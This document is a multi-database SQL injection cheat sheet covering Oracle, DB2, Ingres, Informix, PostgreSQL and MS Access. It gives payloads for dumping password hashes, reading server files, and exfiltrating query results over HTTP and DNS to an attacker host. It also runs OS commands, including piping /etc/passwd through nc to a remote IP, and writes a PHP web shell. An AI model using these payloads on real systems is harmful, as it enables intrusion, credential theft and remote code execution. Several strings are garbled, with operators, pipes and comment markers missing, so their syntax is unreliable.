List Password Hashes	▪ <i>SELECT name, password, astatus FROM sys.user\$</i> — This command retrieves the username and password hashes — priv, <= 10g. a status tells you if acct is locked. ▪ <i>SELECT name, spare4 FROM sys.user\$</i> — This command retrieves the username and password hashes — priv, 11g
Create Users	▪ <i>CREATE USER</i> ▪ <i>user IDENTIFIED by pass;</i> — This command creates a user 'USER' who authenticates by pass to log on to the database.
Drop User	▪ <i>DROP USER</i> — This command drops a 'USER'.
Make User DBA	▪ <i>GRANT DBA to USER</i> — This command grants DBA privilege to 'USER'.
Local File Access	▪ <i>UTL_FILE</i> can sometimes be used. Check that the following is non-null: <i>SELECT value FROM v\$parameter2 WHERE name = 'utl_file_dir';</i> Java can be used to read and write files if it's installed (it is not available in Oracle Express).
Hostname, IP Address	▪ <i>SELECT UTL_INADDR.get_host_name FROM dual;</i> <i>SELECT host_name FROM v\$instance;</i> <i>SELECT UTL_INADDR.get_host_address FROM dual;</i> — This command obtains IP address of the user. ▪ <i>SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;</i> — This command obtains the hostnames of the user.
Error Based SQLi Attack: To throw Conversion Errors	▪ <i>(utl_inaddr.get_host_address((select user from DUAL)))</i>; — This command is used for accepting integer inputs. ▪ <i>' + (utl_inaddr.get_host_address((select user from DUAL))) + '</i>; — This command is used for accepting string inputs.
Clear SQLi Tests: For Boolean SQL Injection and Silent Attacks	▪ <i>product.asp?id=4</i> ▪ <i>product.asp?id=5-1</i> ▪ <i>product.asp?id=4 OR 1=1</i> — These commands can be used as tests for Boolean SQL injection and silent attacks.

Time Based SQLi Exploitation	▪ ?vulnerableParam=(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION})),1,1)),0) = 100) THEN dbms_pipe.receive_message('xyz',14) ELSE dbms_pipe.receive_message('xyz',1) END FROM dual); {INJECTION} = You want to run the query. — If the condition is true, will response after 14 seconds. If is false, will be delayed for one second.
Out of Band Channel	▪ ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/sniff.php?sniff=' (({INJECTION})) ') FROM DUAL); — Using this command, sniffer application will save results. ▪ ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/' (({INJECTION})) '.html') FROM DUAL); — Using this command, results will be saved in HTTP access logs ▪ ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})) '.yourhost.com') FROM DUAL); — Using this command, you can sniff DNS resolution requests to yourhost.com ▪ ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})) '.yourhost.com',80) FROM DUAL); — Using this command, you can sniff DNS resolution requests to yourhost.com — {INJECTION} = You want to run the query.
Default Databases	▪ SYSTEM ▪ SYS_AUX
Path of DB Files	▪ SELECT name FROM V\$DATAFILE ▪ SELECT * FROM dba_directories
Location of DB Files	▪ SELECT name FROM V\$DATAFILE; — This command retrieves the location of name data file from database 'V\$DATAFILE'.

Privileges	▪ <i>SELECT * FROM session_privs;</i> — This command returns the privileges assigned to the current user. ▪ <i>SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP';</i> — This command returns a list of user's privileges from dba_sys_privs having grantee value 'DBSNMP'. ▪ <i>SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY';</i> — This command returns the users with a particular privilege. ▪ <i>SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;</i> — This command returns the column GRANTEE and GRANTED_ROLE from the table DBA_ROLE_PRIVS.
List Synonyms	▪ <i>SELECT synonym_name, table_owner, table_name FROM all_synonyms;</i> — Lists all synonyms available in the database, along with their corresponding table owners and table names.
Determine Database Character Set	▪ <i>SELECT * FROM nls_database_parameters WHERE parameter = 'NLS_CHARACTERSET';</i> — Retrieves the character set used by the database.
List Database Links	▪ <i>SELECT db_link, username, host FROM dba_db_links;</i> — Lists all the database links configured in the database.
Find Active Sessions	▪ <i>SELECT sid, serial#, username, status FROM v\$session WHERE username IS NOT NULL;</i> — Retrieves information about active user sessions.

4. IBM-DB2 SQL Database

Query	Command
Version	▪ <i>SELECT service_level FROM table(sysproc.env_get_inst_info()) as instanceinfo</i> — This command returns a version of system table. ▪ <i>SELECT getvariable('sysibm.version') FROM sysibm.sysdummy1 -- (v8+)</i> — This command returns an information on built version of system table.

	▪ <i>SELECT prod_release, installed_prod_fullname FROM table(sysproc.env_get_prod_info()) as productinfo</i> — This command returns release and full name information of system table. ▪ <i>SELECT service_level, bld_level FROM sysibmadm.env_inst_info</i> — This command returns the service and configuration information of system table.
List Users	DB2 uses OS accounts. Those with DB2 access can be retrieved with: ▪ <i>SELECT distinct(authid) FROM sysibmadm.privileges</i> — This command retrieves distinct authorization ID of users from sysibmadm.privileges. ▪ <i>SELECT grantee FROM syscat.dbauth</i> — This command lists the users with database privileges. ▪ <i>SELECT distinct(definer) FROM syscat.schemata</i> — This command retrieves distinct authorization ID of the owner of the schema. ▪ <i>SELECT distinct(grantee) FROM sysibm.systabauth</i> — This command retrieves distinct authorization ID of users having database privileges from sysibm.systabauth.
Current User	▪ <i>SELECT user FROM sysibm.sysdummy1;</i> — This command obtains current user from the table sysibm.sysdummy1. ▪ <i>SELECT session_user FROM sysibm.sysdummy1;</i> — This command obtains current session user from the table 'sysibm.sysdummy1'. ▪ <i>SELECT system_user FROM sysibm.sysdummy1;</i> — This command obtains current system user from the table 'sysibm.sysdummy1'.
List all Database	▪ <i>SELECT schemaname FROM syscat.schemata;</i> — This command obtains a column name 'schemaname' having a list of databases from the table 'syscat.schemata'.
Current Database	▪ <i>SELECT current server from sysibm.sysdummy1;</i> — This command obtains the current database server from sysibm.sysdummy1.
List Tables	▪ <i>SELECT table_name FROM sysibm.tables;</i> — This command obtains the list 'table_name' from table sysibm.tables.

	▪ <i>SELECT name FROM sysibm.systables;</i> — This command obtains the list 'name' from table sysibm.systables.
Column Names	▪ <i>SELECT name, tbname, coltype FROM sysibm.syscolumns;</i> — This command obtains the column names- 'name', 'tbname' and 'coltype' from table sysibm.syscolumns. — syscat and sysstat and can also be used in place of sysibm.
Select Nth Row	▪ <i>SELECT name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc;</i> — This command returns first N rows only from sysibm.systables.
Select Nth Char	▪ <i>SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1;</i> — This command returns b.
If Statement	▪ Seems only allowed in stored procedures. Use case logic instead.
Case Statement	▪ <i>SELECT CASE WHEN (1=1) THEN 'AAAAAAAAAAAA' ELSE 'BBBBBBBBBBB' END FROM sysibm.sysdummy1</i> — If the condition is true, 'AAAAAAAAAAAA' is returned.
Comments	▪ <i>select blah from foo;</i> — This command is used for writing a comment.
String without Quotes	▪ <i>SELECT chr(65) chr(68) chr(82) chr(73) FROM sysibm.sysdummy1</i> <i>-- returns "ADRI".</i> — This command returns a string without quotes. — It can be used without select.
Time Delay	▪ Heavy queries, for example: <i>' and (SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (SELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1)=68;</i> — If user starts with ASCII 68 ('D'), the heavy query will be executed, delaying the response. However, if user doesn't start with ASCII 68, the heavy query won't execute and thus the response will be faster.
Command Execution	▪ This functionality is allowed from procedures or UDFs.
List Password Hashes	▪ N/A (OS User Accounts)

List DBA Accounts	▪ <i>SELECT distinct(grantee) FROM sysibm.systabauth where CONTROLAUTH='Y';</i> — This command returns a list of DBA accounts from table sysibm.systabauth having CONTROLAUTH value 'Y'.
Local File Access	▪ This functionality is available through stored procedures or DB2 tool.
Hostname, IP Address	▪ <i>SELECT os_name,os_version,os_release,host_name FROM sysibmadm.env_sys_info;</i> — This command obtains the Hostname, and IP address of a system from sysibmadm.env_sys_info.
Serialize XML: For Error Based	▪ <i>SELECT xmlagg(xmlrow(table_schema)) FROM sysibm.tables;</i> — This command returns all in one xml-formatted string. ▪ <i>SELECT xmlagg(xmlrow(table_schema)) FROM (SELECT distinct(table_schema) FROM sysibm.tables);</i> — This command returns all in one xml-formatted string excluding redundant elements. ▪ <i>SELECT xml2clob(xmelement(name t, table_schema)) FROM sysibm.tables;</i> — This command returns all in one xml-formatted string (v8). ▪ <i>CAST(xml2clob(... AS varchar(500));</i> — This command is used to display the result.
Default Databases	▪ <i>SYSIBM</i> ▪ <i>SYSCAT</i> ▪ <i>SYSSTAT</i> ▪ <i>SYSPUBLIC</i> ▪ <i>SYSIBMADM</i> ▪ <i>SYSTOOLS</i>
Location of DB Files	▪ <i>SELECT * FROM sysibmadm.reg_variables WHERE reg_var_name='DB2PATH';</i> — This command obtains the location of DB files.
Privileges	▪ <i>select * from syscat.tabauth;</i> — This command obtains all the users having privileges on a particular table or view in the database ▪ <i>select * from syscat.dbauth where grantee = current user;</i> — This command obtains the current user having privileges on a particular table or view in the database.

	▪ <i>select * from syscat.tabauth where grantee = current user;</i> — This command obtains the current user having table and view privileges. ▪ <i>select * from SYSIBM.SYSUSERAUTH;</i> — This command lists the users with system privileges.
List System Catalog Tables	▪ <i>select tabname from syscat.tables where type = 'S';</i> — Lists all system catalog tables in the database.
Current Lock Information	▪ <i>select * from sysibmadm.locks;</i> — Displays current lock information in the database.
List Buffer Pools	▪ <i>select bpname from syscat.bufferpools;</i> — Lists all the buffer pools configured in the database.
List Table Spaces	▪ <i>select tbspname from syscat.tablespace;</i> — Lists all the table spaces in the database.

5. Ingres SQL Database

Query	Command
Version	▪ <i>SELECT dbmsinfo('_version');</i> — This command retrieves the system information of the current installation of SQL Database.
List Users	First connect to <i>iidbdb</i>, then ▪ <i>SELECT name, password FROM iuser;</i> — This command retrieves the columns 'name' and 'password' from the table 'iuser'. ▪ <i>SELECT own FROM iidatabase;</i> — This command lists the names of users from the table 'iidatabase'.
Current User	▪ <i>select dbmsinfo('session_user');</i> ▪ <i>select dbmsinfo('system_user');</i> — These commands return the user id of the current user.
List all Database	▪ <i>SELECT name FROM iidatabase;</i> — This command obtains a column name 'name' having a list of databases from the table 'iidatabase'.

Current Database	▪ <i>select dbmsinfo('database');</i> — This command obtains the current SQL database.
List Tables	▪ <i>SELECT table_name, table_owner FROM iitables;</i> — This command obtains the columns 'table_name' and 'table_owner' from the table 'iitables'. ▪ <i>SELECT relid, relowner, relloc FROM iirelation;</i> — This command obtains the columns 'relid', 'relowner' and 'relloc' from the table 'iirelation'. ▪ <i>SELECT relid, relowner, relloc FROM iirelation WHERE relowner != 'Singres';</i> — This command obtains the columns 'relid', 'relowner' and 'relloc' from the table 'iirelation' having 'relowner' value as !='Singres'.
List Column	▪ <i>SELECT column_name, column_datatype, table_name, table_owner FROM iicolumns;</i> — This command lists columns 'column_name', 'column_datatype', 'table_name' and 'table_owner' from the table 'iicolumns'.
Select Nth Row	▪ This functionality is not possible, but following command can be used to some extent: ▪ <i>get:select top 10 blah from table;</i> — This command obtains first 10 blah form table.
Select Nth Char	▪ <i>select substr('abc', 2, 1);</i> — This command returns 'b'.
Comments	▪ <i>SELECT 123;</i> — This command is used for writing a comment. ▪ <i>SELECT 123; /* comment */</i> — This command is used to comment out a statement.
List Password Hashes	▪ First connect to <i>iidbdb</i>, then: <i>select name, password from iuser;</i> — This command obtains password hashes from table 'iuser'.
Hostname, IP Address	▪ <i>SELECT dbmsinfo('ima_server')</i> — This command obtains the Hostname and IP address of a system.
Logging in from Command Line	▪ <i>\$ su - ingres</i> <i>\$ sql iidbdb</i> <i>*select dbmsinfo('_version'); go</i> — This command can be used to log in from command line.

Default Databases	▪ <i>SELECT name FROM iidatabase WHERE own = '\$ingres';</i> — This command lists the databases from 'iidatabase'.
Location of DB Files	▪ <i>SELECT dbdev, ckpdev, jnldev, sortdev FROM iidatabase WHERE name = 'value';</i> — This command obtains primary location of db. ▪ <i>SELECT lname FROM iiextend WHERE dname = 'value';</i> — This command obtains extended location of db. ▪ <i>SELECT are FROM ilocations where lname = 'value';</i> — This command obtains all area (i.e. directory) linked with a location.
Privileges	▪ <i>SELECT dbmsinfo('db_admin');</i> — This command retrieves the users with 'db_admin' privilege. ▪ <i>SELECT dbmsinfo('create_table');</i> — This command retrieves the users with 'create_table' privilege. ▪ <i>SELECT dbmsinfo('create_procedure');</i> — This command retrieves the users with 'create_procedure' privilege. ▪ <i>SELECT dbmsinfo('security_priv');</i> — This command retrieves the users with 'security_priv' privilege. ▪ <i>SELECT dbmsinfo('SELECT_syscat');</i> — This command retrieves the users with 'SELECT_syscat' privilege. ▪ <i>SELECT dbmsinfo('db_privileges');</i> — This command retrieves the users with 'db_privileges' privilege. ▪ <i>SELECT dbmsinfo('current_priv_mask');</i> — This command retrieves the users with 'current_priv_mask' privilege.
List Roles	▪ <i>SELECT role_name FROM iiroles;</i> — Lists all the roles defined in the database.
List Active Sessions	▪ <i>SELECT * FROM iisessions;</i> — Displays information about active sessions.
Find Ingres Net Servers	▪ <i>SELECT server_class, node, listen_address FROM iinodes;</i> — Lists Ingres Net servers along with their nodes and listening addresses.
List Access Privileges	▪ <i>SELECT table_name, privilege FROM iiaccess;</i> — Displays access privileges on tables.

6. Informix SQL Database

Query	Command
Version	▪ <i>SELECT DBINFO('version', 'full') FROM systables WHERE tabid = 1;</i> — This command retrieves the version and complete information from the table 'systables' having tabid value as '1'. ▪ <i>SELECT DBINFO('version', 'server-type') FROM systables WHERE tabid = 1;</i> — This command retrieves the version and server information from the table 'systables' having tabid value as '1'. ▪ <i>SELECT DBINFO('version', 'major'), DBINFO('version', 'minor'), DBINFO('version', 'level') FROM systables WHERE tabid = 1;</i> — This command retrieves the version, major and minor information from the table 'systables' having tabid value as '1'. ▪ <i>SELECT DBINFO('version', 'os') FROM systables WHERE tabid = 1;</i> — This command retrieves the version and OS information from the table 'systables' having tabid value as '1'.
List Users	▪ <i>SELECT username, usertype, password from sysusers;</i> — This command lists the usernames, usertype and password from the table sysusers.
Current User	▪ <i>SELECT USER FROM systables WHERE tabid = 1;</i> — This command obtains the column 'USER' from table 'systables' having tabid value as '1'. ▪ <i>SELECT CURRENT_ROLE FROM systables WHERE tabid = 1;</i> — This command obtains the column 'CURRENT_ROLE' from table 'systables' having tabid value as '1'.
List all Database	▪ <i>SELECT name, owner from sysdatabases;</i> — This command obtains the list of all the databases from the database 'sysdatabases'.
Current Database	▪ <i>SELECT DBSERVERNAME FROM systables where tabid = 1;</i> — This command obtains the column 'DBSERVERNAME' current server name from table 'systable' having tabid value as '1'.
List Tables	▪ <i>SELECT tablename, owner FROM systables;</i> — This command obtains the columns 'tablename' and 'owner' from table 'systable'.

	▪ <i>SELECT tabname, viewtext FROM sysviews JOIN systables ON systables.tabid = sysviews.tabid;</i> — This command selects columns 'tabname' and 'viewtext' from the table 'sysviews' and joins with the same columns of table 'systables', condition being 'systables.tabid=sysviews.tabid'.
List Columns	▪ <i>SELECT tabname, colname, owner, coltype FROM syscolumns JOIN systables ON syscolumns.tabid = systables.tabid;</i> — This command selects columns 'tabname', 'colname', 'owner', and 'coltype' from the table 'syscolumns' and joins with the same columns of table 'systables', condition being 'syscolumns.tabid=systables.tabid'.
Select Nth Row	▪ <i>SELECT first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc;</i> — This command retrieves the 10th row.
Select Nth Char	▪ <i>SELECT SUBSTRING('ABCD' FROM 3 FOR 1) FROM systables where tabid = 1;</i> — This command returns 'C'.
Case Statement	▪ <i>SELECT tabid, case when tabid>10 then "High" else 'Low' end from systables;</i> — This command returns "High" for columns 'tabid' and 'case', if tabid is greater than 10 else returns "Low".
Comments	▪ <i>select 1 FROM systables WHERE tabid = 1;</i> — This command is used for writing a comment.
Hostname, IP Address	▪ <i>SELECT DBINFO('dbhostname') FROM systables WHERE tabid = 1;</i> — This command returns hostname and IP address information from table 'systables' having tabid value as '1'.
Default Databases	These are the system databases: ▪ <i>sysmaster</i> ▪ <i>ysadmin*</i> ▪ <i>ysuser*</i> ▪ <i>ysutils*</i>
Privileges	▪ <i>SELECT tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid;</i> — This command is used to find out that which user has access to which table. ▪ <i>SELECT procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid;</i> — This command is used to find out that which user has access to which procedures.

Find Chunk Information	▪ <i>SELECT chunknum, pathname FROM syschunks;</i> — Lists chunk numbers and their corresponding file paths.
List Extents	▪ <i>SELECT dbname, tabname, extent_size FROM sys extents;</i> — Lists extents in the database along with their sizes.
List Onspaces	▪ <i>SELECT name, fpage FROM syslogfil;</i> — Lists onspaces and their first pages.
Find Fragmented Tables	▪ <i>SELECT tabname, partn FROM sysfragments;</i> — Lists tables that are fragmented.

7. Postgre SQL Database

Query	Command
Version	▪ <i>SELECT version();</i> — This command obtains the version and built information of a database.
List Users	▪ <i>SELECT username FROM pg_user;</i> — This command obtains the column 'username' from the table 'pg_user'.
Create DB Accounts	This command is used to create database accounts ▪ <i>CREATE USER victor WITH PASSWORD 'pass123'</i>
Current User	▪ <i>SELECT user;</i> — This command obtains a name of recently logged in user. ▪ <i>SELECT current_user;</i> — This command obtains a name of current user. ▪ <i>SELECT session_user;</i> — This command obtains a name of current session user. ▪ <i>SELECT username FROM pg_user;</i> — This command obtains the column 'username' from table 'pg_user'. ▪ <i>SELECT getpgusername();</i> — This command obtains the user name in current session.
List all Database	▪ <i>SELECT datname FROM pg_database;</i> — This command obtains the list of database in column 'datname' from table 'pg_database'.

Current Database	▪ <i>SELECT current_database();</i> — This command obtains the current database.
Load File	▪ <i>SELECT pg_read_file('global/pg_hba.conf',0,10000000);</i> — This command is used to read only the content of the DATA directory.
List Tables	▪ <i>SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);</i> — This command lists the tables present in the database.
List Columns	▪ <i>SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public');</i> — This command lists the columns present in the database.
Select Nth Row	▪ <i>SELECT username FROM pg_user ORDER BY username LIMIT 1 OFFSET 0;</i> — This command returns rows numbered from 0. ▪ <i>SELECT username FROM pg_user ORDER BY username LIMIT 1 OFFSET 1;</i> — This command returns rows numbered from 1.
Select Nth Char	▪ <i>SELECT substr('abcd', 3, 1);</i> — This command returns c.
If Statement	▪ IF statements only seem valid inside functions, therefore they are of less use in SQL injection statement. ▪ See CASE statement instead.
Case Statement	▪ <i>SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END;</i> — This command returns A.
Comments	▪ <i>SELECT 1;</i> — This command is used for writing a comment. ▪ <i>SELECT /*comment*/1;</i> — This command is used to comment out a statement.
String without Quotes	▪ <i>SELECT (CHAR(75) CHAR(76) CHAR(77))</i> — This command will return 'KLM'.

Time Delay	▪ <i>SELECT pg_sleep(10);</i> — This command triggers a measurable sleep time. — In postgres is 8.2+ only. ▪ <i>CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT; SELECT sleep(10);</i> — This command is to create your own sleep function.
Command Execution	▪ <i>CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;</i> — priv ▪ <i>SELECT system('cat /etc/passwd nc 10.0.0.1 8080');</i> — This commands run as postgres/pgsql OS-level user.
Make DNS Requests	▪ Generally, not it is not applicable in postgres. However, if <u>contrib/dblink</u> is installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights): ▪ <i>SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);</i> Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.
Remote Authentication	▪ You should add “host” record to the pg_hba.conf file located in the DATA directory. <i>host all all 192.168.20.0/24 md5;</i>
List Passwords	▪ <i>SELECT pg_read_file('global/pg_auth',0,10000000);</i> — This command lists passwords from a given database.
List Password Hashes	▪ <i>SELECT username, passwd FROM pg_shadow;</i> — This command is used obtain password hashes from a given database.
Bulk Insert	▪ To read data from local files, first you should create a temporary file for that. Read file contents into this table, then read the data from table. <i>CREATE TABLE temptable(t text);</i> <i>COPY temptable FROM 'c:/boot.ini';</i> <i>SELECT * FROM temptable LIMIT 1 OFFSET 0</i> This functionality needs permissions for the service user who has been running database service. On default, it is not possible to read local files on Windows systems because postgres user doesn't have read permissions.

	Drop the temporary file after exploitation. DROP TABLE temptable;
Create Users	CREATE USER test1 PASSWORD 'pass1'; — This command creates a user name 'USER test1' having password 'pass1'. CREATE USER test1 PASSWORD 'pass1' CREATEUSER; — This command creates a user name 'USER test1' having password 'pass1' and at the same time privileges are granted the user.
Drop User	DROP USER test1; — This command drops user name 'USER test1'.
List DBA Accounts	SELECT username FROM pg_user WHERE usesuper IS TRUE — This command obtains a list of user names with DBA privileges.
Make User DBA	ALTER USER test1 CREATEUSER CREATEDB; — This command grants DBA privileges to a user name 'USER test1'.
Local File Access	CREATE TABLE mydata(t text); COPY mydata FROM '/etc/passwd'; — priv, can read files which are readable by postgres OS-level user ...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — This command gets data back one row at a time. ...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — This command gets data back one row at a time. DROP TABLE mytest mytest; Write to a file: — This command drops a table and then write it to another text file. CREATE TABLE mytable (mycol text); INSERT INTO mytable(mycol) VALUES ('<? passthru(\$_GET[cmd]); ?>'); COPY mytable (mycol) TO '/tmp/test.php'; — priv, write files as postgres OS-level user. Generally, you will not be able to write to the web root. — priv user can also read/write files by mapping libc functions.
Hostname, IP Address	SELECT inet_server_addr(); — This command returns db server IP address (or null if using local connection). SELECT inet_server_port(); — This command returns db server IP address (or null if using local connection)

Error Based SQLi Attack: To throw Conversion Errors	▪ <i>cast((chr(95) current_database()) as numeric);</i> — This command is used to receive integer inputs. ▪ <i>' cast((chr(95) current_database()) as numeric) ';</i> — This command is used to receive string inputs.
Clear SQLi Tests: For Boolean SQL Injection and Silent Attacks	▪ <i>product.php?id=4</i> ▪ <i>product.php?id=5-1</i> ▪ <i>product.php?id=4 OR 1=1</i> ▪ <i>product.php?id=-1 OR 17-7=10</i> — These commands can be used as tests for Boolean SQL injection and silent attacks.
Time Based SQLi Exploitation	▪ <i>?vulnerableParam=-1; SELECT CASE WHEN (COALESCE(ASCII(SUBSTR(({INJECTION})),1,1)),0) > 100) THEN pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1--+</i> {INJECTION} = You want to run the query. — If the condition is true, will response after 14 seconds. If is false, will be delayed for one second.
Default Databases	▪ <i>template0</i> ▪ <i>template1</i>
Path of DB Files	▪ <i>SELECT current_setting('data_directory');</i> — This command returns the path of data_directory (<i>C:/Program Files/PostgreSQL/8.3/data</i>) ▪ <i>SELECT current_setting('hba_file');</i> — This command returns the path of hba_file (<i>C:/Program Files/PostgreSQL/8.3/data/pg_hba.conf</i>)
Location of DB Files	▪ <i>SELECT current_setting('data_directory');</i> — This command returns the location of the data_directory. ▪ <i>SELECT current_setting('hba_file');</i> — This command returns the location of the hba_file.
Privileges	▪ <i>SELECT username, usecreatedb, usesuper, usecatupd FROM pg_user</i> — This command returns the user names along with their privileges from the table 'pg_user'.
Find Active Locks	▪ <i>SELECT * FROM pg_locks;</i> — Displays information about the active locks in the database.
List Indexes	▪ <i>SELECT indexname FROM pg_indexes WHERE schemaname = 'public';</i> — Lists all indexes in the public schema.

List Triggers	▪ <i>SELECT tname FROM pg_trigger WHERE NOT tgisinternal;</i> — Lists all the non-internal triggers in the database.
Current Database Size	▪ <i>SELECT pg_size_pretty(pg_database_size(current_database()));</i> — Displays the size of the current database in a human-readable format.

8. MS ACCESS Database

Query	Command
List Tables	▪ <i>SELECT Name FROM msysobjects WHERE Type = 1;</i> — This command retrieves column name 'Name' from the table 'msysobjects' having type value as '1'.
Create DB Accounts	This command is used to create database accounts ▪ <i>CREATE USER victor IDENTIFIED BY 'pass123'</i>
Query Comment	▪ Comment characters are not available in Microsoft Access. However, it is possible to remove useless part of a query with the NULL char (%00). A query truncation looks like: <i>http://localhost/script.asp?id=1'+UNION+SELECT+1,2,3,4+FROM+someValidTableName%00;</i>
Syntax Error Messages	▪ Apache (PHP): <i>Fatal error: Uncaught exception 'com_exception' with message 'Source: Microsoft JET Database Engine Description: [...]';</i> ▪ IIS (ASP): <i>Microsoft JET Database Engine error '80040e14';</i>
Stacked Query	▪ Stacked queries are not allowed.
Sub Query	▪ Subqueries are supported by MS Access. In the following example, <i>TOP 1</i> is used to return one row only: <i>http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+'someData'+FROM+table)%00;</i>
Hardcoded Query Returning 0 Rows	▪ In some cases, it is useful to include in the web application response the outcome of our <i>UNION SELECT</i> query only, making the hardcoded query returning 0 results. A common trick can be used for our purpose: <i>http://localhost/script.asp?id=1'+AND+1=0+UNION+SELECT+1,2,3+FROM+table%00;</i>

Limit Support	- The <i>LIMIT</i> operator is not implemented within MS Access. However, it is possible to limit SELECT query results to the first N table rows using the TOP operator. TOP accepts as argument an integer, representing the number of rows to be returned. <i>http://localhost/script.asp?id=1'+UNION+SELECT+TOP+3+someAttrName+FROM+validTable%00;</i> - In the above example, In addition to <i>TOP</i>, the operator <i>LAST</i> can be used to fully emulate the behavior of <i>LIMIT</i>.
String Length	<i>http://localhost/script.asp?id=1'+UNION+SELECT+LEN('1234')+FROM+table%00;</i> This request above returns 4, the length of the string "1234".
Substring	<i>http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',1,1)+FROM+table%00;</i> <i>http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',2,1)+FROM+table%00;</i> — The operator <i>MID</i> can be used to select a portion of a specified string — The first query returns the character 'a', whereas the second query returns 'b'.
String Concatenation	<i>http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%2b+'app'+FROM+table%00;</i> <i>http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%26+'app'+FROM+table%00;</i> — &(%26) and + (%2b) characters are used for string concatenation. — Both queries return the string "webapp".
IF THEN Conditional Statement	<i>IIF(condition, true, false);</i> <i>http://localhost/script.asp?id=1'+UNION+SELECT+IIF(1=1,'a','b')+FROM+table%00;</i> — The <i>IIF</i> operator can be used to build an "if-then" conditional statement. As shown below, the syntax for this function is simple: — This command returns the character 'a' as the condition <i>1=1</i> is always true.
Web Root Directory Full Path	<i>http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00;</i> — Using the above request, MS Access responds with an error message containing the web directory full pathname.
Char from ASCII Value	The <i>CHR</i> operator converts the argument character to its ASCII value: <i>http://localhost/script.asp?id=1'+UNION+SELECT+CHR(65)+FROM+table%00;</i> — This command returns the character 'A'.

ASCII Value from Char	The ASC operator returns the ASCII value of the character passed as argument: <i>http://localhost/script.asp?id=1'+UNION+SELECT+ASC('A')+FROM+table%00;</i> — This command returns 65, the ASCII value of the character 'A'.
.mdb File Name Guessing	Database file name (.mdb) can be inferred with the following query: <i>http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00;</i> — Where <i>name[i]</i> is a .mdb filename and <i>realTable</i> is an existent table within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename.
.mdb Password Cracker	Access PassView is a free utility that can be used to recover the main database password of Microsoft Access 95/97/2000/XP or Jet Database Engine 3.0/4.0
Union Operator	MS Access supports UNION and UNION ALL operators, although they require an existent table name within the FROM clause of the SELECT query. Table brute forcing can be used to obtain a valid table name. Please refer to last section (Another Bruteforcing Technique) of this document.
File Enumeration	<i>http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00;</i> — By implementing the above request, if the specified file exists, MS Access triggers an error message informing that the database format is invalid - Another way to enumerate files consists into specifying a <i>database.table</i> item <i>http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\\boot.ini.TableName%00;</i> — By implementing the above command, if the specified file exists, MS Access displays a database format error message
Table Fields Enumeration	Table fields can be enumerated with a simple trick. First of all, it is necessary to find a valid table name. If error messages are not concealed, the name of table is usually included in the error messages. Let's assume that <i>id</i> is a valid table name. At this stage, we can use a well-known MS SQL server technique to enumerate all table fields.

	▪ <i>http://localhost/script.asp?id=1'+GROUP+BY+ID%00;</i> — As the system will now respond with a slightly different error message including another field name, we can proceed with the following: ▪ <i>http://localhost/script.asp?id=1'+GROUP+BY+ID,FIELD2%00;</i> — Consequently, this process can be repeated several times until all field names have been uncovered. Note that it is not possible to use this technique if you are dealing with query like “<i>SELECT * FROM</i>”
Table Rows Counting	▪ The total number of rows in a table can be discovered with the query: ▪ <i>http://localhost/script.asp?id=1'+AND+IIF((SELECT+COUNT(*)+FROM+validTableName)=X,1,0)%00;</i> — In the following, <i>TAB_LEN</i> is the discovered number of rows.
Filters Evasion	▪ Backslash escaped input filtering can be easily bypassed in MS Access. Escaping user's inputs by adding backslashes is not enough in order to prevent SQL injection as the character ‘\’ is the integer divide operator. A clever example of bypass has been already discussed here.
